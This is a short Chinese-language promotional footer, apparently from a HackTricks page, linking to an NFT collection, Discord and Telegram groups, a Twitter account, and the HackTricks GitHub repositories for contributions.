* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs 集合**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**。